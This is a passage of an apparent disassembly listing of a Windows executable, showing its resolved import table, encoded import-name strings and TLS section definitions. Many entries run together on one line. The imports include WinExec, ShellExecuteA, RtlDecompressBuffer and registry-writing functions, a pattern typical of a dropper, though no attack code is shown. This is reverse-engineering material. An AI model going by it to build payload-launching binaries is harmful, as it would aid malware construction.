dword_40024484	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilterdword_40024488	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointerdword_4002448C	dd 7C832044h	; resolved to->KERNEL32.SetEndOfFiledword_40024490	dd 7C937A40h	; resolved to->NTDLL.RtlUnwinddword_40024494	dd 7C80180Eh	; resolved to->KERNEL32.ReadFiledword_40024498	dd 7C812A09h	; resolved to->KERNEL32.RaiseExceptiondword_4002449C	dd 7C812F39h	; resolved to->KERNEL32.GetStdHandledword_400244A0	dd 7C810A77h	; resolved to->KERNEL32.GetFileSizedword_400244A4	dd 7C810E51h	; resolved to->KERNEL32.GetFileTypedword_400244A8	dd 7C801A24h	; resolved to->KERNEL32.CreateFileAdword_400244AC	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle		dd 0
dword_400244B4	dd 7C809BC5h	; resolved to->KERNEL32.TlsSetValuedword_400244B8	dd 7C809740h	; resolved to->KERNEL32.TlsGetValuedword_400244BC	dd 7C80998Dh	; resolved to->KERNEL32.LocalAllocdword_400244C0	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA		align 8
dword_400244C8	dd 7E41869Dh	; resolved to->USER32.ReleaseDCdword_400244CC	dd 7E45058Ah	; resolved to->USER32.MessageBoxAdword_400244D0	dd 7E42DFA8h	; resolved to->USER32.LoadStringA		dd 7E4208CEh
dword_400244D8	dd 7E418F9Ch	; resolved to->USER32.GetSystemMetricsdword_400244DC	dd 7E418E78h	; resolved to->USER32.GetSysColordword_400244E0	dd 7E4186C7h	; resolved to->USER32.GetDCdword_400244E4	dd 7E42DF50h	; resolved to->USER32.CharNextAdword_400244E8	dd 7E41AEF1h	; resolved to->USER32.CharToOemA		align 10h
dword_400244F0	dd 77F1D85Fh	; resolved to->GDI32.UnrealizeObjectdword_400244F4	dd 77F15D87h	; resolved to->GDI32.SetTextColordword_400244F8	dd 77F1D8F8h	; resolved to->GDI32.SetROP2dword_400244FC	dd 77F15EEBh	; resolved to->GDI32.SetBkModedword_40024500	dd 77F15E39h	; resolved to->GDI32.SetBkColordword_40024504	dd 77F1832Ah	; resolved to->GDI32.SelectPalettedword_40024508	dd 77F15B80h	; resolved to->GDI32.SelectObjectdword_4002450C	dd 77F1ADC3h	; resolved to->GDI32.MoveToExdword_40024510	dd 77F1DC1Fh	; resolved to->GDI32.GetTextMetricsAdword_40024514	dd 77F1B2F1h	; resolved to->GDI32.GetSystemPaletteEntries		dd 77F161D1h
dword_4002451C	dd 77F15A7Ah	; resolved to->GDI32.GetDeviceCapsdword_40024520	dd 77F2EAEBh	; resolved to->GDI32.GetCurrentPositionExdword_40024524	dd 77F16C0Ah	; resolved to->GDI32.DeleteObjectdword_40024528	dd 77F16E6Fh	; resolved to->GDI32.DeleteDCdword_4002452C	dd 77F24077h	; resolved to->GDI32.CreatePenIndirectdword_40024530	dd 77F1B1F1h	; resolved to->GDI32.CreatePalettedword_40024534	dd 77F1E2E3h	; resolved to->GDI32.CreateFontIndirectAdword_40024538	dd 77F1D991h	; resolved to->GDI32.CreateBrushIndirect		align 10h
dword_40024540	dd 7C835D54h	; resolved to->KERNEL32.WritePrivateProfileStringAdword_40024544	dd 7C810D87h	; resolved to->KERNEL32.WriteFiledword_40024548	dd 7C86136Dh	; resolved to->KERNEL32.WinExecdword_4002454C	dd 7C802520h	; resolved to->KERNEL32.WaitForSingleObjectdword_40024550	dd 7C80B9D1h	; resolved to->KERNEL32.VirtualQuerydword_40024554	dd 7C802442h	; resolved to->KERNEL32.Sleepdword_40024558	dd 7C80BC69h	; resolved to->KERNEL32.SizeofResourcedword_4002455C	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointerdword_40024560	dd 7C80A017h	; resolved to->KERNEL32.SetEventdword_40024564	dd 7C80A03Bh	; resolved to->KERNEL32.ResetEventdword_40024568	dd 7C80180Eh	; resolved to->KERNEL32.ReadFiledword_4002456C	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChardword_40024570	dd 7C8097C6h	; resolved to->KERNEL32.MulDivdword_40024574	dd 7C80CC97h	; resolved to->KERNEL32.SetHandleCountdword_40024578	dd 7C809FB5h	; resolved to->KERNEL32.LoadResourcedword_4002457C	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryAdword_40024580	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSectiondword_40024584	dd 7C809EF1h	; resolved to->KERNEL32.InitializeCriticalSectiondword_40024588	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExAdword_4002458C	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCountdword_40024590	dd 7C80A415h	; resolved to->KERNEL32.GetThreadLocaledword_40024594	dd 7C835DCAh	; resolved to->KERNEL32.GetTempPathAdword_40024598	dd 7C814EEAh	; resolved to->KERNEL32.GetSystemDirectoryAdword_4002459C	dd 7C812F39h	; resolved to->KERNEL32.GetStdHandledword_400245A0	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddressdword_400245A4	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleAdword_400245A8	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameAdword_400245AC	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoAdword_400245B0	dd 7C80A7D4h	; resolved to->KERNEL32.GetLocalTimedword_400245B4	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Errordword_400245B8	dd 7C814AF2h	; resolved to->KERNEL32.GetEnvironmentVariableAdword_400245BC	dd 7C8302EDh	; resolved to->KERNEL32.GetDiskFreeSpaceAdword_400245C0	dd 7C8361EEh	; resolved to->KERNEL32.GetDateFormatAdword_400245C4	dd 7C809728h	; resolved to->KERNEL32.GetCurrentThreadIddword_400245C8	dd 7C812E76h	; resolved to->KERNEL32.GetCPInfodword_400245CC	dd 7C8260C2h	; resolved to->KERNEL32.FreeResourcedword_400245D0	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrarydword_400245D4	dd 7C82F7A0h	; resolved to->KERNEL32.FormatMessageAdword_400245D8	dd 7C80BE89h	; resolved to->KERNEL32.FindResourceAdword_400245DC	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcessdword_400245E0	dd 7C838211h	; resolved to->KERNEL32.EnumCalendarInfoAdword_400245E4	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSectiondword_400245E8	dd 7C91188Ah	; resolved to->NTDLL.RtlDeleteCriticalSectiondword_400245EC	dd 7C801A24h	; resolved to->KERNEL32.CreateFileAdword_400245F0	dd 7C8308ADh	; resolved to->KERNEL32.CreateEventAdword_400245F4	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileAdword_400245F8	dd 7C80D077h	; resolved to->KERNEL32.CompareStringAdword_400245FC	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle		dd 0
dword_40024604	dd 77DDEBE7h	; resolved to->ADVAPI32.RegSetValueExAdword_40024608	dd 77DD7883h	; resolved to->ADVAPI32.RegQueryValueExAdword_4002460C	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExAdword_40024610	dd 77DEB908h	; resolved to->ADVAPI32.RegFlushKeydword_40024614	dd 77DDEAF4h	; resolved to->ADVAPI32.RegCreateKeyExAdword_40024618	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKeydword_4002461C	dd 77DFD4C9h	; resolved to->ADVAPI32.GetUserNameA		dd 0
dword_40024624	dd 7712A63Fh	dword_40024628	dd 77124880h			align 10h
dword_40024630	dd 774FEE36h	dword_40024634	dd 77502A37h			dd 0
dword_4002463C	dd 7C802442h	; resolved to->KERNEL32.Sleep		dd 0
dword_40024644	dd 7712ABCCh	dword_40024648	dd 771251C8h	dword_4002464C	dd 77125214h	dword_40024650	dd 7712AB11h	dword_40024654	dd 77126BFFh	dword_40024658	dd 77124D6Bh	dword_4002465C	dd 77124920h	dword_40024660	dd 77124980h			align 8
dword_40024668	dd 7C961329h	; resolved to->NTDLL.RtlDecompressBuffer		align 10h
dword_40024670	dd 7CA41110h	; resolved to->SHELL32.ShellExecuteA		align 8
aOleaut32_dll	db 'oleaut32.dll',0
		align 4
aSysfreestring	db 'SysFreeString',0
		align 4
aSysreallocstri	db 'SysReAllocStringLen',0
		dd 79530000h, 6C6C4173h, 7453636Fh, 676E6972h, 6E654Ch
		dd 61766461h, 32336970h, 6C6C642Eh, 0
aRegqueryvaluee	db 'RegQueryValueExA',0
		align 4
aRegopenkeyexa	db 'RegOpenKeyExA',0
		align 4
aRegclosekey	db 'RegCloseKey',0
aUser32_dll	db 'user32.dll',0
		align 4
		dd 65470000h, 79654B74h, 72616F62h, 70795464h, 65h, 74736544h
		dd 57796F72h, 6F646E69h, 77h, 64616F4Ch, 69727453h, 41676Eh
		dd 654D0000h, 67617373h, 786F4265h, 41h, 72616843h, 7478654Eh
		dd 656B0041h, 6C656E72h, 642E3233h, 6C6Ch, 65470000h, 50434174h
		dd 0
aSleep		db 'Sleep',0
		align 4
aVirtualfree	db 'VirtualFree',0
		dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 65470000h, 63695474h
		dd 756F436Bh, 746Eh, 75510000h,	50797265h, 6F667265h, 6E616D72h
		dd 6F436563h, 65746E75h, 72h, 43746547h, 65727275h, 6854746Eh
		dd 64616572h, 6449h, 6E490000h,	6C726574h, 656B636Fh, 63654464h
		dd 656D6572h, 746Eh, 6E490000h,	6C726574h, 656B636Fh, 636E4964h
		dd 656D6572h, 746Eh, 69560000h,	61757472h, 6575516Ch, 7972h
		dd 69570000h, 68436564h, 6F547261h, 746C754Dh, 74794269h
		dd 65h,	746C754Dh, 74794269h, 576F5465h, 43656469h, 726168h
		dd 736C0000h, 656C7274h, 416Eh,	736C0000h, 70637274h, 416E79h
		dd 6F4C0000h, 694C6461h, 72617262h, 41784579h, 0
aGetthreadlocal	db 'GetThreadLocale',0
		dd 65470000h, 61745374h, 70757472h, 6F666E49h, 41h, 50746547h
		dd 41636F72h, 65726464h, 7373h,	65470000h, 646F4D74h, 48656C75h
		dd 6C646E61h, 4165h, 65470000h,	646F4D74h, 46656C75h, 4E656C69h
		dd 41656D61h, 0
aGetlocaleinfoa	db 'GetLocaleInfoA',0
		align 4
		dd 65470000h, 73614C74h, 72724574h, 726Fh, 65470000h, 6D6F4374h
		dd 646E616Dh, 656E694Ch, 41h, 65657246h, 7262694Ch, 797261h
		dd 69460000h, 6946646Eh, 46747372h, 41656C69h, 0
aFindclose	db 'FindClose',0
		align 4
aExitprocess	db 'ExitProcess',0
		dd 72570000h, 46657469h, 656C69h, 6E550000h, 646E6168h
		dd 4564656Ch, 70656378h, 6E6F6974h, 746C6946h, 7265h, 65530000h
		dd 6C694674h, 696F5065h, 7265746Eh, 0
aSetendoffile	db 'SetEndOfFile',0
		align 4
aRtlunwind	db 'RtlUnwind',0
		align 10h
aReadfile	db 'ReadFile',0
		align 4
aRaiseexception	db 'RaiseException',0
		align 4
		dd 65470000h, 64745374h, 646E6148h, 656Ch, 65470000h, 6C694674h
		dd 7A695365h, 65h, 46746547h, 54656C69h, 657079h, 72430000h
		dd 65746165h, 656C6946h, 41h, 736F6C43h, 6E614865h, 656C64h
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0
aTlssetvalue	db 'TlsSetValue',0
		dd 6C540000h, 74654773h, 756C6156h, 65h, 61636F4Ch, 6C6C416Ch
		dd 636Fh, 65470000h, 646F4D74h,	48656C75h, 6C646E61h, 4165h
		dd 72657375h, 642E3233h, 6C6Ch,	65520000h, 7361656Ch, 434465h
		dd 654D0000h, 67617373h, 786F4265h, 41h, 64616F4Ch, 69727453h
		dd 41676Eh, 6F4C0000h, 63496461h, 416E6Fh, 65470000h, 73795374h
		dd 4D6D6574h, 69727465h, 7363h,	65470000h, 73795374h, 6F6C6F43h
		dd 72h,	44746547h, 43h,	72616843h, 7478654Eh, 41h, 72616843h
		dd 654F6F54h, 416Dh, 33696467h,	6C642E32h, 6Ch,	65726E55h
		dd 7A696C61h, 6A624F65h, 746365h, 65530000h, 78655474h
		dd 6C6F4374h, 726Fh, 65530000h,	504F5274h, 32h,	42746553h
		dd 646F4D6Bh, 65h, 42746553h, 6C6F436Bh, 726Fh,	65530000h
		dd 7463656Ch, 656C6150h, 657474h, 65530000h, 7463656Ch
		dd 656A624Fh, 7463h, 6F4D0000h,	6F546576h, 7845h, 65470000h
		dd 78655474h, 74654D74h, 73636972h, 41h, 53746547h, 65747379h
		dd 6C61506Dh, 65747465h, 72746E45h, 736569h, 65470000h
		dd 6F745374h, 624F6B63h, 7463656Ah, 0
aGetdevicecaps	db 'GetDeviceCaps',0
		align 10h
aGetcurrentposi	db 'GetCurrentPositionEx',0
		align 4
aDeleteobject	db 'DeleteObject',0
		align 4
aDeletedc	db 'DeleteDC',0
		align 4
aCreatepenindir	db 'CreatePenIndirect',0
		align 4
aCreatepalette	db 'CreatePalette',0
		align 4
aCreatefontindi	db 'CreateFontIndirectA',0
		dd 72430000h, 65746165h, 73757242h, 646E4968h, 63657269h
		dd 656B0074h, 6C656E72h, 642E3233h, 6C6Ch, 72570000h, 50657469h
		dd 61766972h, 72506574h, 6C69666Fh, 72745365h, 41676E69h
		dd 0
aWritefile	db 'WriteFile',0
		align 4
aWinexec	db 'WinExec',0
		dd 61570000h, 6F467469h, 6E695372h, 4F656C67h, 63656A62h
		dd 74h,	74726956h, 516C6175h, 79726575h, 0
aSleep_0	db 'Sleep',0
		align 4
aSizeofresource	db 'SizeofResource',0
		align 4
		dd 65530000h, 6C694674h, 696F5065h, 7265746Eh, 0
aSetevent	db 'SetEvent',0
		align 4
aResetevent	db 'ResetEvent',0
		align 10h
		dd 65520000h, 69466461h, 656Ch,	754D0000h, 4269746Ch, 54657479h
		dd 6469576Fh, 61684365h, 72h, 446C754Dh, 7669h,	6F4C0000h
		dd 65526B63h, 72756F73h, 6563h,	6F4C0000h, 65526461h, 72756F73h
		dd 6563h, 6F4C0000h, 694C6461h,	72617262h, 4179h, 654C0000h
		dd 43657661h, 69746972h, 536C6163h, 69746365h, 6E6Fh, 6E490000h
		dd 61697469h, 657A696Ch, 74697243h, 6C616369h, 74636553h
		dd 6E6F69h, 65470000h, 72655674h, 6E6F6973h, 417845h, 65470000h
		dd 63695474h, 756F436Bh, 746Eh,	65470000h, 72685474h, 4C646165h
		dd 6C61636Fh, 65h, 54746547h, 50706D65h, 41687461h, 0
aGetsystemdirec	db 'GetSystemDirectoryA',0
		dd 65470000h, 64745374h, 646E6148h, 656Ch, 65470000h, 6F725074h
		dd 64644163h, 73736572h, 0
aGetmodulehandl	db 'GetModuleHandleA',0
		align 10h
aGetmodulefilen	db 'GetModuleFileNameA',0
		align 4
		dd 65470000h, 636F4C74h, 49656C61h, 416F666Eh, 0
aGetlocaltime	db 'GetLocalTime',0
		align 4
aGetlasterror	db 'GetLastError',0
		align 4
aGetenvironment	db 'GetEnvironmentVariableA',0
		dd 65470000h, 73694474h, 6572466Bh, 61705365h, 416563h
		dd 65470000h, 74614474h, 726F4665h, 4174616Dh, 0
aGetcurrentthre	db 'GetCurrentThreadId',0
		align 4
		dd 65470000h, 49504374h, 6F666Eh, 72460000h, 65526565h
		dd 72756F73h, 6563h, 72460000h,	694C6565h, 72617262h, 79h
		dd 6D726F46h, 654D7461h, 67617373h, 4165h, 69460000h, 6552646Eh
		dd 72756F73h, 416563h, 78450000h, 72507469h, 7365636Fh
		dd 73h,	6D756E45h, 656C6143h, 7261646Eh, 6F666E49h, 41h
		dd 65746E45h, 69724372h, 61636974h, 6365536Ch, 6E6F6974h
		dd 0
aDeletecritical	db 'DeleteCriticalSection',0
		align 4
aCreatefilea	db 'CreateFileA',0
		dd 72430000h, 65746165h, 6E657645h, 4174h, 6F430000h, 69467970h
		dd 41656Ch, 6F430000h, 7261706Dh, 72745365h, 41676E69h
		dd 0
aClosehandle	db 'CloseHandle',0
aAdvapi32_dll	db 'advapi32.dll',0
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0
		align 4
		dd 65520000h, 65755167h, 61567972h, 4565756Ch, 4178h, 65520000h
		dd 65704F67h, 79654B6Eh, 417845h, 65520000h, 756C4667h
		dd 654B6873h, 79h, 43676552h, 74616572h, 79654B65h, 417845h
		dd 65520000h, 6F6C4367h, 654B6573h, 79h, 55746547h, 4E726573h
		dd 41656D61h, 6C6F0000h, 74756165h, 642E3233h, 6C6Ch, 65470000h
		dd 72724574h, 6E49726Fh, 6F66h,	79530000h, 65724673h, 72745365h
		dd 676E69h, 33656C6Fh, 6C642E32h, 6Ch, 6E556F43h, 74696E69h
		dd 696C6169h, 657Ah, 6F430000h,	74696E49h, 696C6169h, 657Ah
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0
aSleep_1	db 'Sleep',0
aOleaut32_dll_0	db 'oleaut32.dll',0
		align 4
		dd 61530000h, 72416566h, 50796172h, 664F7274h, 65646E49h
		dd 78h,	65666153h, 61727241h, 74654779h, 756F4255h, 646Eh
		dd 61530000h, 72416566h, 47796172h, 424C7465h, 646E756Fh
		dd 0
aSafearraycreat	db 'SafeArrayCreate',0
		dd 61560000h, 6E616972h, 61684374h, 5465676Eh, 657079h
		dd 61560000h, 6E616972h, 706F4374h, 79h, 69726156h, 43746E61h
		dd 7261656Ch, 0
aVariantinit	db 'VariantInit',0
aNtdll_dll	db 'ntdll.dll',0
		align 4
aRtldecompressb	db 'RtlDecompressBuffer',0
aShell32_dll	db 'shell32.dll',0
		dd 68530000h, 456C6C65h, 75636578h, 416574h
		align 100h
_idata		ends

; Section 6. (virtual address 00026000)
; Virtual size			: 0000000C (	 12.)
; Section size in file		: 0000000C (	 12.)
; Offset to raw	data for section: 00026000
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
_tls		segment	para public '' use32
		assume cs:_tls
		;org 40026000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
TlsStart	dd 3 dup(0)		; DATA XREF: .rdata:TlsDirectoryo
TlsEnd		dd 7Dh dup(?)		; DATA XREF: .rdata:TlsEnd_ptro
_tls		ends

; Section 7. (virtual address 00027000)
; Virtual size			: 00000018 (	 24.)
; Section size in file		: 00000018 (	 24.)
; Offset to raw	data for section: 00027000
; Flags	40000040: Data Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 40027000h
TlsDirectory	dd offset TlsStart
TlsEnd_ptr	dd offset TlsEnd
TlsIndex_ptr	dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsSizeOfZeroFill
TlsSizeOfZeroFill dd 0			; DATA XREF: .rdata:TlsCallbacks_ptro
TlsCharacteristics dd 0
		align 200h
_rdata		ends

; Section 10. (virtual address 0005F000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0005EC00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 4005F000h
		align 2000h
_idata2		ends


		end start